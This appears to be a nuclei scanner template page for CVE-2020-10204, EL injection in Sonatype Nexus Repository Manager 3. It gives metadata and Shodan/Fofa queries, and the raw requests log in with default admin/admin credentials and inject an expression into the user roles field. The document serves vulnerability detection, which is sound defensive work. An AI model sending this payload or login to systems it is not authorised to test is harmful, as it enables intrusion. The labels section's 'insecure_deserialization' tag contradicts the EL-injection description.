CVE-2020-10204: Sonatype Nexus Repository Manager 3 - Remote Code Execution
- Template: CVE-2020-10204
- Name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
- Description: Sonatype Nexus Repository Manager 3 up to and including 3.21.1 is vulnerable to Expression Language injection. An attacker authenticated with an administrative account can inject an EL expression into the user "roles" field of the coreui_User update endpoint, leading to remote code execution. This is a bypass of the fix for CVE-2018-16621.
- Impact: Remote code execution on the Nexus Repository Manager host.
- Remediation: Upgrade to Sonatype Nexus Repository Manager 3.21.2 or later.
- Severity: high
- Authors: mmadersbacher
- Tags: cve, cve2020, nexus, rce, sonatype, el-injection, intrusive, authenticated
- References: https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204, https://nvd.nist.gov/vuln/detail/CVE-2020-10204
- Cves: CVE-2020-10204
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2020/CVE-2020-10204.yaml
- Digest: 4a0a00473045022100d8aa4ff76b3e33d166017eac6768314aa04c8848d4bdb414aa2577ba939acaaf022068c0bc2358516f3a07ce7590efc6e7324a6a6ef4dceeea4a8a63a613a5a78eec
- Created at: 2026-08-19T14:03:49Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 97
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10204.yaml
Classification
- Cwe: CWE-20
- Cvss score: 7.2
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.38423
- Epss percentile: 0.98605
- Not known: cpe
Metadata
- Fofa-query: title="nexus repository manager"
- Max-request: 2
- Product: nexus
- Shodan-query: http.component:"Nexus Repository Manager"
- Vendor: sonatype
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| sonatype:nexus | yes | /v1/products/sonatype/nexus |
Labels
- Name: Sonatype Nexus Repository - Remote Code Execution
- Impact: Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
- Remediation: Update to version 3.21.2 or later.
- Vulnerability type: insecure_deserialization
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2020-10204
- Not known: requirements
```yaml
id: CVE-2020-10204
info:
name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
author: mmadersbacher
severity: high
description: |
Sonatype Nexus Repository Manager 3 up to and including 3.21.1 is vulnerable to Expression Language injection. An attacker authenticated with an administrative account can inject an EL expression into the user "roles" field of the coreui_User update endpoint, leading to remote code execution. This is a bypass of the fix for CVE-2018-16621.
impact: |
Remote code execution on the Nexus Repository Manager host.
remediation: |
Upgrade to Sonatype Nexus Repository Manager 3.21.2 or later.
reference:
- https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204
- https://nvd.nist.gov/vuln/detail/CVE-2020-10204
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2020-10204
epss-score: 0.38423
epss-percentile: 0.98605
cwe-id: CWE-20
metadata:
verified: true
max-request: 2
vendor: sonatype
product: nexus
shodan-query: http.component:"Nexus Repository Manager"
fofa-query: title="nexus repository manager"
tags: cve,cve2020,nexus,rce,sonatype,el-injection,intrusive,authenticated
variables:
username: admin
password: admin
http:
- raw:
- |
POST /service/rapture/session HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{base64(username)}}&password={{base64(password)}}
- |
POST /service/extdirect HTTP/1.1
Host: {{Hostname}}
NX-ANTI-CSRF-TOKEN: 1
X-Nexus-UI: true
Content-Type: application/json
Cookie: NX-ANTI-CSRF-TOKEN=1
{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"[email protected]","status":"active","roles":["nx-admin$\\B{3*3333}"]}],"type":"rpc","tid":11}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "nx-adminB9999"
- "Missing roles"
condition: and
- type: status
status:
- 200
digest: 4a0a00473045022100d8aa4ff76b3e33d166017eac6768314aa04c8848d4bdb414aa2577ba939acaaf022068c0bc2358516f3a07ce7590efc6e7324a6a6ef4dceeea4a8a63a613a5a78eec:922c64590222798bb761d5b6d8e72950
```